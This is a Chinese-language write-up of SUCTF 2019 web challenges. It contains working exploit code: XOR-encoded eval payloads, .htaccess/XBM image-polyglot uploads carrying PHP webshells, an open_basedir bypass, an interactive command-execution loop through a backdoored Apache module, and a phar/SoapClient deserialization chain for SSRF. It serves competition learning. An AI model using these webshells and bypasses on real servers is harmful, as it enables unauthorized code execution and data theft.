SUCTF 2019 web partial wp

Checkin

.user.ini 上传绕过,GIF89a 绕过图片检测。

可参考 GHOST_URL/file-upload/#user.ini-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6

easyphp

Brief desc

打开页面,已经给出了源码。分别是 rce bypass 和上传

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

简单分析后,发现第一步对 eval 的 RCE 的过滤很严格,可用的可见字符只剩下 ! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { },没有可用的函数。

第二步对上传也进行了过滤,不允许 ph 开头的扩展名,不允许文件内容出现 <?,以及 exif_imagetype 图片的判断,需要补一个文件头,如 GIF89a

Bypass rce

根据传统的思路,最方便的绕过就是从 ~^ 入手,尝试加入完全可控内容 $_GET/get_defined_vars,或者使用 readfile/scandir

由于有长度限制,我们使用异或的话,大概的样子是 (xxx^xxx)(); 至少六个字符,那么函数名限制在了 12/2 的长度,连 phpinfo 都不行,也没想到其他的无参数函数。

既然不能直接调用函数,考虑一下用变量,毕竟 $ 还可以用。全局变量最短的就是 $_GET 了,因为长度限制,下标必须在异或之后,那么大概是 ${xxxx^xxxx}{0}(); 长度至少是 10 个,只剩下了四个,刚好 _GET 可以,那十八个字符刚刚好,并且按照字符重复个数,只需要一边使用完全一样的字符就行了。(捋下来发现题目限制很严格,就是只允许特定的 payload 可用)

剩下的就比较简单了,不过也涉及到一个经验问题,如何构造,因为 url 参数默认是字符串类型,不用考虑引号,并且可以使用编码构造不可见字符,这样能够选择的范围大了很多,比如: _=${%86%9E%9C%8D^%d9%d9%d9%d9}{%d9}();&%d9=phpinfo => _=$_GET[0]&0=phpinfo

不过到目前为止函数还是不能带参数,那么只能结合上传了。

Bypass upload with .htaccess

结合环境和对扩展名的限制,猜测可以使用 .htaccess 来解析上传文件,但是测试 script 标签时突然想到 php 的版本是 7.2,那么常见的方法几乎都不能使用了。

要绕过 <? 并且能够解析 php,那么方法就是想办法通过题目可用的 .htaccess 来 bypass 扩展名和文件内容检测(可能还有其他方法,太菜了)。扩展名可以通过 handler 来设置,但是文件内容检测几乎没什么办法,而且还需要绕过图片的检测,搜罗一番找到了一个类似的题目 l33t_hoster

首先看一下 PHP 解析的图片类型

那么我们的思路就是,首先要找到能够一种格式,同时满足图片和 .htaccess 的格式,满足图片很好说,但是也要满足配置文件,就需要添加配置文件的‘不解析行’了,比如注释行,在这里除了使用 # 还有一种方法就是该行使用 \x00 开头,同样会配置文件被当做无效行来解析。结合上面的图片类型,我们需要找到的就是两种图片,一种使用注释来标记图片头,一种以 \x00 开头,例如有下面两种图片格式,以及 bypass 内容检测的思路。

另外还需要对 PHP 代码进行编码,下面的内容包含 UTF-16/Base64/UTF-7 编码三种方式。

X Bit Map with UTF-16

原题目中预期解使用了xbm格式,X Bit Map,来绕过图片检测,并且满足 .htaccess 文件格式。

在计算机图形学中,X Window系统使用X BitMap(XBM),一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成。当格式被普遍使用时,XBM通常出现在标题(.h文件)中,每个图像在标题中存储一个数组。

以下C代码示例了一个XBM文件:

#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

在这个c文件中高和宽都是有 # 在前面的,那么我们即使把它放在 .htaccess 文件中也不会影响 .htaccess 的实际运行效果,所以新的 .htaccess 文件内容如下

#define width 1337                          # Define the width wanted by the code (and say we are a legit xbitmap file lol)
#define height 1337                         # Define the height
AddType application/x-httpd-php .asp      # Say all file with extension .php16 will execute php
php_value zend.multibyte 1                  # Active specific encoding (you will see why after :D)
php_value zend.detect_unicode 1             # Detect if the file have unicode content
php_value display_errors 1                  # Display php errors

原作者使用的是 utf-16 编码,这里给出 exp

#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin

# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
    phpfile = open(filename, 'wb') 

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()

generate_php_file("webshell.asp", "<?php eval($_GET['c']); die(); ?>")

在这里我们直接使用 requests 上传

burp0_url = "http://47.111.59.243:9001/?_=$%7B%86%9E%9C%8D%5E%d9%d9%d9%d9%7D%7B%d9%7D();&%d9=get_the_flag"
burp0_headers = {"Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "User-Agent": "python-requests/2.20.0", "Content-Type": "multipart/form-data; boundary=bbd367563f7b601164d1953efae4c3ac"}
burp0_data = "--bbd367563f7b601164d1953efae4c3ac\r\nContent-Disposition: form-data; name=\"file\"; filename=\"hhh.asp\"\r\nContent-Type: image/gif\r\n\r\n\x00<\x00?\x00p\x00h\x00p\x00 \x00e\x00v\x00a\x00l\x00(\x00$\x00_\x00P\x00O\x00S\x00T\x00[\x000\x00]\x00)\x00;\x00 \x00d\x00i\x00e\x00(\x00)\x00;\x00 \x00?\x00>\n\n#define width 1337\n#define height 1337\n\n\r\n--bbd367563f7b601164d1953efae4c3ac--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

Wbmp with base64

根据 php 源码中的魔术头,可以找到一些 \x00 开头的图片,在 .htaccess 中以 \x00 开头该行会被忽略。可用的如,ico、wbmp。

如果使用 wbmp 格式,那需要生成的 payload 如下:

htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .asp
php_value auto_append_file "php://filter/convert.base64-decode/resource=upload/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.asp"
"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")

UTF7 编码

php > echo mb_convert_encoding("<?php eval('\$_POST[0])');",'utf7');
+ADw?php eval('+ACQAXw-POST+AFs-0+AF0)')+ADs-

Bypass open_basedir and disbaled func

这部分内容不再多写了,题目中只需要 bypass open_basedir 就可以在根目录读到 flag。

mkdir('/tmp/fuck');chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag"));

此外,df 包含了system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail ,那还可以使用 putenv/error_logstream_socket_client。不过好像 fpm 是个烟雾弹,根本没开。。大概只能使用 LD_PRELOAD 打了。

具体可以看
GHOST_URL/tctf-web-writeup/#solution-3
GHOST_URL/attack-webcgi-with-socket/

周末做了做 SUCTF,太菜了。。也就这个题目能够记录下,其他的题目等 wp 再补。

Ref

  1. https://github.com/eboda/insomnihack/tree/master/l33t_hoster
  2. https://www.cnblogs.com/wfzWebSecuity/p/11207145.html

pythonginx

def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

利用最后的请求读文件 file:////suctf.cc/usr/local/nginx/conf/nginx.conf

预期解法应该是利用 unicode2ascii 的域名转换导致的解析问题,在 blackhat HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization 中有提到。

在这里我们需要找到一个可以通过 punycode 转为 c 的字符。

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

直接引用了 delta-wp 的爆破脚本,可得到如下

str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

其中任一都可以通过检测。
ref
https://xz.aliyun.com/t/6042#toc-29

easysql

可以通过 1;show tables;# 发现是堆叠查询。查询语句结构:select ".$post['query']."||flag from Flag

后面大概是因为在线维护泄露了源码

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

过滤了 flag/union/prepare 等,还有长度限制,可以直接使用 *,1 拿到 flag。

另一种做法,原理:https://blog.csdn.net/lixora/article/details/60572357

通过 || 来实现字符串拼接,设置 sql_mode 模式为 pipes_as_concat 即可。即: 1;set sql_mode=pipes_as_concat;select 1

Cocktail’s Remix

download.php 页面任意文件下载,没有什么有用的信息,只有 config.php 存有 db 的信息,也找不到 flag 在哪,根据 robots.txt 看到 info.php,没有特殊的内容,hosts 有 mysql 的信息,但是 readfile 没办法利用,最后因为看到 ENV里有 cocktail 搜了一下题目,可以看到有一个 apache 的 module。

使用 curl "http://47.111.59.243:9016/download.php?filename=file:///usr/lib/apache2/modules/mod_cocktail.so" > cock.so 下载下来进行分析。

handler 函数并不能看懂(猜,大概是把 apache 的表取出来,逐个判断 reffer,然后 34 行,j_remix 对 reffer 进行了处理并存到了 reffer 数组,下面就是一个 popen 的命令执行了。

看一下 j_remix,调用了 remix,大佬应该能一眼看出来是个 base64

我看了一下用到的变量

(菜,那么接下来就是命令执行了。

import requests
import base64
burp0_url = "http://47.111.59.243:9016/"
burp0_cookies = {"PHPSESSID": "1dojpisj378hmeoappuatj34h3"}
while True:
    cmd=raw_input()
    cmd=base64.b64encode(cmd)
    burp0_headers = {"User-Agent": "A", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Reffer": cmd, "Upgrade-Insecure-Requests": "1"}
    r=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
    print r.text

upload-lab2

index.php

<?php
$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Check($tmp_name);
        $c->check();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }
    
}

首先是一个文件上传,对扩展名、文件大小、文件内容做了限制,php 版本为 5.6。
func.php

<?php
include 'class.php';

if (isset($_POST["submit"]) && isset($_POST["url"])) {
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";
    }
}

检查文件 MIME 的功能,感觉可以配合上传触发 Phar 反序列化,但是有正则限制。看一下 getMIME 函数。
class.php

<?php
include 'config.php';

class File{

    public $file_name;
    public $type;
    public $func = "Check";

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }

    function __toString(){
        return $this->type;
    }

}

class Check{

    public $file_name;

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }
}

可以看到 getMIME 调用了 finfo_file($finfo, $this->file_name),可以出发反序列化。并且 File 类有 __wakeup() 方法,通过反射初始化了一个类并调用了其 check() 成员方法。
admin.php

<?php
include 'config.php';

class Ad{

    public $ip;
    public $port;

    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

        $this->ip = $ip;
        $this->port = $port;

        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }

    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    function __destruct(){
        getFlag($this->ip, $this->port);
        //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
    }
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        
        $ip = $_POST['ip'];     //你用来获取flag的服务器ip
        $port = $_POST['port']; //你用来获取flag的服务器端口

        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
else {
    echo "You r not admin!";
}

从这里明显可以看出需要 SSRF,并且是一个 POST 请求,首先可以想到 SOAP 反序列化,__call 可以通过之前的 check() 触发,基本的链条完整。

SplStack 绕过

不过最后一步的 admin->check() 还需要成功执行,这里参考了 delta-wp 里的写法,使用 SplStack 的成员方法 push 完成执行。如此,便可以顺利触发析构函数,反弹 flag。

给出 exp

<?php
class File{

    public $file_name;
    public $type;
    public $func = "SoapClient";

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    function __construct(){
        $target = 'http://127.0.0.1/admin.php';
        $post_string = 'admin=&ip=x&port=x&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=';

        $this->file_name = [null,array("location" => $target,"user_agent"=>"exp\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: profile=1"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "http://127.0.0.1/")];

    }

}

@file_put_contents("test.txt","test");
$exp=new File();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
rename("phar.phar","phar.png");
@unlink("test.txt");

那么下一步就是如何触发 phar 了。从之前 func.php 可以知道传入 phar 协议的文件地址就能触发。那么难点就在如何绕过正则,类似 compress.bzip2:// 绕过,这里使用 php://filter/resource=,完整的类似 php://filter/resource=phar://upload/fd40c7f4125a9b9ff1a4e75d293e3080/ed54ee58cd01e120e27939fe4a64fa92.png,如此可触发完整的反序列化。

预期解 - mysql client attack

当然上面的是非预期了,看出题人的回顾,这里本是要考察 mysql client attack 的。
上面

$m = new mysqli();
$m->init();
$m->real_connect('ip','select 1','select 1','select 1',3306);
$m->query('select 1;');

另外,mysqli->real_connect() overwrites MYSQLI_OPT_LOCAL_INFILE setting 也可以发现 real_connect 会覆盖在该语句执行前的 mysqli->options 设置的选项。
ref
delta-wp
SUCTF-2019 出题笔记-&-phar-反序列化的一些拓展

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus